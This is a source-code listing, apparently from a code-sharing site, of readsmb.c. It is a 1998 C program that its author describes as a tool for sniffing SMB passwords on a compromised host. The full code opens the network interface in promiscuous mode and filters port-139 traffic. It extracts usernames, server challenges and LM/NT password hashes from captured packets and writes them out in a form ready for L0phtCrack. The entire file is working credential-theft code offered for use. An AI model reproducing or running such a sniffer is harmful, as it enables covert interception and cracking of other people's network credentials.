readsmb.c
上传用户:qinke188
上传日期:2007-01-05
资源大小:4k
文件大小:10k
源码类别:

Internet/网络编程

开发平台:

WINDOWS

  1. /* http://www.cotse.com  Fear the swimming Elephant! */
  2. /* readsmb.c v0.56
  3.  * by the basement research <basementresearch@hotmail.com> 5/29/98
  4.  *
  5.  * Many thanks to L0pht Heavy Industries - without L0phtcrack this is worthless.
  6.  * 
  7.  * An implementation of the SMB sniffer that comes with l0phtcrack 2.0.  The 
  8.  * purpose here is to provide an effective means of sniffing SMB passwords on 
  9.  * a compromised host. Its too hard to execute a sniffer on a remote host with 
  10.  * only an NT version available. 
  11.  * 
  12.  * If you don't have libpcap, you'll need to get it - its at ftp.ee.lbl.gov.
  13.  * (Has there ever been a more useful government service than this?)
  14.  * Tested on Linux 2.0.x (glibc1 and 2), and FreeBSD.  It will compile on 
  15.  * Slow-aris, but it is totally untested (there will be a byte-ordering issue). 
  16.  * 
  17.  * This is pretty crude but functional.  I still don't even know what the second
  18.  * field of the sniff file is for (the program simply inserts a '3').  I tested 
  19.  * this with Win95, WinNT, and Samba clients (both smbclient LANMAN2 and NT1).  
  20.  * I don't think it grabs the correct string for Administrator, because LC 
  21.  * couldn't crack it (sometimes the real readsmb didn't seem to get it either 
  22.  * - and sometimes it seemed to drop the username.  readsmb also didn't seem 
  23.  * to always work for LANMAN2 protocol, this does).   
  24.  *
  25.  * The start_pcap() function was taken from "UNIX Network Programming - 
  26.  * Networking APIs : Sockets and XTI" by Richard Stevens (great book.) 
  27.  *
  28.  * Officially dedicated to Nikki Steele. 
  29.  *
  30.  * Fbhepr pbqr vf fcrrpu!
  31.  *                                                    jose chung
  32.  *                                                    the basement research
  33.  *
  34.  * To compile :
  35.  * cc -o readsmb readsmb.c -lpcap
  36.  * Usage :
  37.  * ./readsmb [output file] (otherwise to stdout)
  38.  */
  39. #include <stdio.h>
  40. #include <string.h>
  41. #include <unistd.h>
  42. #include <sys/signal.h>
  43. #ifdef __FreeBSD__
  44. #include <sys/socket.h>
  45. #endif /* __FreeBSD__ */
  46. #ifdef __sun /* Solaris 2.x */
  47. #define u_int32_t uint32_t
  48. #include <sys/socket.h>
  49. #endif /* Not FreeBSD, not Solaris.  Our default is Linux */
  50. #include <net/if.h>
  51. #include "pcap.h"
  52. #define FILTER_CMD      "src port 139 or dst port 139"
  53. #define TRUE    (1)
  54. #define LM_PROT         0x0D
  55. #define NT_PROT         0x11
  56. #define SMB_SK_COMMAND  0x72
  57. #define SMB_PW_COMMAND  0x73
  58. #define TIMEOUT_VALUE   500
  59. #define PW_OFFSET_NT12  105
  60. #define PWNT_OFFSET_NT12        129
  61. #define SK_OFFSET_NT12  112
  62. #define USER_OFFSET_NT12        129
  63. #define PWNT_OFFSET_LM2 75
  64. #define PW_OFFSET_LM2   99
  65. #define SK_OFFSET_LM2   104
  66. #define USER_OFFSET_LM2 123
  67. #define SMB_PORT        139
  68. FILE *log = NULL;
  69. char *device;
  70. struct pcap_pkthdr hdr;
  71. pcap_t *pfd; /* File descriptor for pcap */
  72. u_short link_offset = 0; /* 0 if device = ppp0, 14 if device = eth0 */
  73. int current_pkt_type = 0;
  74. int neg_prot, pw_offset, sk_offset, user_offset;
  75. void *
  76. killed (int sig)
  77. {
  78.   fflush (log);
  79.   if (log != NULL)
  80.     fclose (log);
  81.   exit (0);
  82. }
  83. char *
  84. check_pkt (char *pkt)
  85. {
  86.   static u_short port;
  87.   static u_char cmd;
  88.   char *extracted;
  89.   char *discard = NULL;
  90.   u_short *port_ext;
  91.   if ((extracted = (char *) malloc (sizeof (char))) == NULL)
  92.     {
  93.       puts ("Error allocating memory.");
  94.       exit (0);
  95.     }
  96.   if ((port_ext = (u_short *) malloc (sizeof (u_short))) == NULL)
  97.     {
  98.       puts ("Error allocating memory.");
  99.       exit (0);
  100.     }
  101.   memcpy (extracted, (pkt + 48), sizeof (u_char));
  102.   memcpy (port_ext, (u_short *) (pkt + 20), sizeof (u_short));
  103.   port = ntohs (*((u_short *) port_ext));
  104.   cmd = *((u_char *) extracted);
  105.   if (current_pkt_type == SMB_PW_COMMAND && (((int) cmd == SMB_PW_COMMAND) && (!(port == SMB_PORT))))
  106.     {
  107.       free (extracted);
  108.       free (port_ext);
  109.       return (pkt);
  110.     }
  111.   if (current_pkt_type == SMB_SK_COMMAND && (((int) cmd == SMB_SK_COMMAND) && (port == SMB_PORT)))
  112.     {
  113.       free (extracted);
  114.       free (port_ext);
  115.       return (pkt);
  116.     }
  117.   free (extracted);
  118.   free (port_ext);
  119.   return (discard);
  120. }
  121. char *
  122. grab_pcap ()
  123. {
  124.   char *pptr = NULL;
  125.   char *checked_pptr;
  126.   while ((pptr = (char *) pcap_next (pfd, &hdr)) == NULL);
  127.   pptr = pptr + link_offset;
  128.   checked_pptr = check_pkt (pptr);
  129.   return (checked_pptr);
  130. }
  131. char *
  132. grabber_loop ()
  133. {
  134.   char *grabbed_pkt = NULL;
  135.   while (grabbed_pkt == NULL)
  136.     {
  137.       grabbed_pkt = grab_pcap ();
  138.     }
  139.   return (grabbed_pkt);
  140. }
  141. void
  142. start_pcap ()
  143. {
  144.   char cmd[80];
  145.   int psize, datalink;
  146.   struct bpf_program fcode;
  147.   u_int localnet, netmask;
  148.   char errbuf[PCAP_ERRBUF_SIZE];
  149.   char link[] = "ppp0";
  150.   psize = 300; /* I'm not even sure what this does.   Did this come from Stevens too? */
  151.   if ((device = pcap_lookupdev (errbuf)) == NULL)
  152.     {
  153.       printf ("pcap_lookupdev : %sn", errbuf);
  154.       exit (-1);
  155.     }
  156.   if (strcmp (device, link) == 0)
  157.     {
  158.       link_offset = 0;
  159.     }
  160.   else
  161.     link_offset = 14;
  162.   printf ("Selected network device %sn", device);
  163.   if ((pfd = pcap_open_live (device, psize, IFF_PROMISC, TIMEOUT_VALUE, errbuf))
  164.       == NULL)
  165.     {
  166.       printf ("pcap_open_live : %sn", errbuf);
  167.       exit (-1);
  168.     }
  169.   puts ("Opened device successfully.");
  170.   if (pcap_lookupnet (device, &localnet, &netmask, errbuf) < 0)
  171.     {
  172.       printf ("pcap_lookupnet : %sn", errbuf);
  173.       exit (-1);
  174.     }
  175.   snprintf (cmd, sizeof (cmd), FILTER_CMD);
  176.   printf ("Applying filter : %sn", &cmd);
  177.   if (pcap_compile (pfd, &fcode, cmd, IFF_PROMISC, netmask) < 0)
  178.     {
  179.       printf ("pcap_compile : %sn", pcap_geterr (pfd));
  180.       exit (-1);
  181.     }
  182.   if (pcap_setfilter (pfd, &fcode) < 0)
  183.     {
  184.       printf ("pcap_setfilter : %sn", pcap_geterr (pfd));
  185.       exit (-1);
  186.     }
  187.   if ((datalink = pcap_datalink (pfd)) < 0)
  188.     {
  189.       printf ("pcap_datalink : %sn", pcap_geterr (pfd));
  190.       exit (-1);
  191.     }
  192.   printf ("The datalink is type %dn", datalink);
  193. }
  194. char *
  195. byte_convert_sk (char *pkt)
  196. {
  197.   char *pc1, *pc2, *pc3;
  198.   u_long num1, num2, num3;
  199.   char *converted;
  200.   pc1 = (char *) malloc (sizeof (int));
  201.   pc2 = (char *) malloc (sizeof (int));
  202.   pc3 = (char *) malloc (sizeof (int));
  203.   converted = (char *) malloc (17);
  204.   bzero (converted, 17);
  205.   neg_prot = get_prot (pkt); /* This doesn't belong here. */
  206.   if (neg_prot == LM_PROT)
  207.     {
  208.       pw_offset = PW_OFFSET_LM2;
  209.       sk_offset = SK_OFFSET_LM2;
  210.       user_offset = USER_OFFSET_LM2;
  211.     }
  212.   if (neg_prot == NT_PROT)
  213.     {
  214.       pw_offset = PW_OFFSET_NT12;
  215.       sk_offset = SK_OFFSET_NT12;
  216.       user_offset = USER_OFFSET_NT12;
  217.     }
  218.   memcpy (pc1, (pkt + sk_offset), sizeof (int));
  219.   memcpy (pc2, (pkt + (sk_offset + 4)), sizeof (int));
  220.   memcpy (pc3, (pkt + (sk_offset + 8)), sizeof (int));
  221.   num1 = ntohl (*((u_long *) pc1));
  222.   num2 = ntohl (*((u_long *) pc2));
  223.   num3 = (u_long) ntohl (*((u_long *) pc3));
  224.   num1 = (num1 << 8) >> 8;
  225.   num3 = num3 >> 24;
  226.   sprintf (converted, "%.6x%.8x%.2x", num1, num2, num3);
  227.   free (pc1);
  228.   free (pc2);
  229.   free (pc3);
  230.   return (converted);
  231. }
  232. int
  233. get_prot (char *pkt)
  234. {
  235.   u_char *prot_code;
  236.   int code = 0;
  237.   prot_code = (u_char *) malloc (sizeof (u_char));
  238.   memcpy (prot_code, (pkt + 76), 1);
  239.   code = (int) *prot_code;
  240.   return (code);
  241. }
  242. char *
  243. byte_convert_user (char *pkt)
  244. {
  245.   char *pc1;
  246.   pc1 = (char *) malloc (49);
  247.   bzero (pc1, 49);
  248.   strcpy (pc1, (pkt + user_offset));
  249.   return (pc1);
  250. }
  251. char *
  252. byte_convert_pw (char *pkt, int run)
  253. {
  254.   char *lmhash;
  255.   char *pc1, *pc2, *pc3, *pc4, *pc5, *pc6;
  256.   u_int num1, num2, num3, num4, num5, num6;
  257.   lmhash = (char *) malloc (49);
  258.   bzero (lmhash, 49);
  259.   if ((run == 2) && (neg_prot == NT_PROT))
  260.     {
  261.       pw_offset = PWNT_OFFSET_NT12;
  262.     }
  263.   if ((run == 2) && (neg_prot == LM_PROT))
  264.     {
  265.       pw_offset = PWNT_OFFSET_LM2;
  266.     }
  267.   pc1 = (char *) malloc (sizeof (u_int));
  268.   pc2 = (char *) malloc (sizeof (u_int));
  269.   pc3 = (char *) malloc (sizeof (u_int));
  270.   pc4 = (char *) malloc (sizeof (u_int));
  271.   pc5 = (char *) malloc (sizeof (u_int));
  272.   pc6 = (char *) malloc (sizeof (u_int));
  273.   memcpy (pc1, (pkt + pw_offset), 4);
  274.   memcpy (pc2, (pkt + (pw_offset + 4)), 4);
  275.   memcpy (pc3, (pkt + (pw_offset + 8)), 4);
  276.   memcpy (pc4, (pkt + (pw_offset + 12)), 4);
  277.   memcpy (pc5, (pkt + (pw_offset + 16)), 4);
  278.   memcpy (pc6, (pkt + (pw_offset + 20)), 4);
  279.   num1 = ntohl (*((u_int *) pc1));
  280.   num2 = ntohl (*((u_int *) pc2));
  281.   num3 = ntohl (*((u_int *) pc3));
  282.   num4 = ntohl (*((u_int *) pc4));
  283.   num5 = ntohl (*((u_int *) pc5));
  284.   num6 = ntohl (*((u_int *) pc6));
  285.   sprintf (lmhash, "%.8x%.8x%.8x%.8x%.8x%.8x", num1, num2, num3, num4, num5, num6);
  286.   free (pc1);
  287.   free (pc2);
  288.   free (pc3);
  289.   free (pc4);
  290.   free (pc5);
  291.   free (pc6);
  292.   return (lmhash);
  293. }
  294. void
  295. main (int argc, char **argv)
  296. {
  297.   char *cur_pkt, *next_pkt;
  298.   char *sk, *user, *pw, *ntpw, *output;
  299.   signal (SIGINT, killed);
  300.   signal (SIGTERM, killed);
  301.   signal (SIGKILL, killed);
  302.   signal (SIGQUIT, killed);
  303.   if (argc > 2)
  304.     {
  305.       printf ("Usage : %s [output file]n", *argv);
  306.       exit (0);
  307.     }
  308.   if (argc == 1)
  309.     {
  310.       log = stdout;
  311.     }
  312.   else
  313.     log = fopen (argv[1], "w");
  314.   if ((argc == 2) && (!log))
  315.     {
  316.       puts ("Error opening logfile.");
  317.       exit (0);
  318.     }
  319.   start_pcap ();
  320.   while TRUE
  321.     {
  322.       output = (char *) malloc (172);
  323.       bzero (output, 172);
  324.       current_pkt_type = SMB_SK_COMMAND;
  325.       cur_pkt = grabber_loop ();
  326.       sk = byte_convert_sk (cur_pkt);
  327.       current_pkt_type = SMB_PW_COMMAND;
  328.       next_pkt = grabber_loop ();
  329.       user = byte_convert_user (next_pkt);
  330.       pw = byte_convert_pw (next_pkt, 1);
  331.       ntpw = byte_convert_pw (next_pkt, 2);
  332.       strcat (output, user);
  333.       strncat (output, ":3:", 3);
  334.       strcat (output, sk);
  335.       strncat (output, ":", 1);
  336.       strcat (output, pw);
  337.       strncat (output, ":", 1);
  338.       strcat (output, ntpw);
  339.       fprintf (log, "%#sn", output);
  340.       fflush (log);
  341.       free (output);
  342.     }
  343. }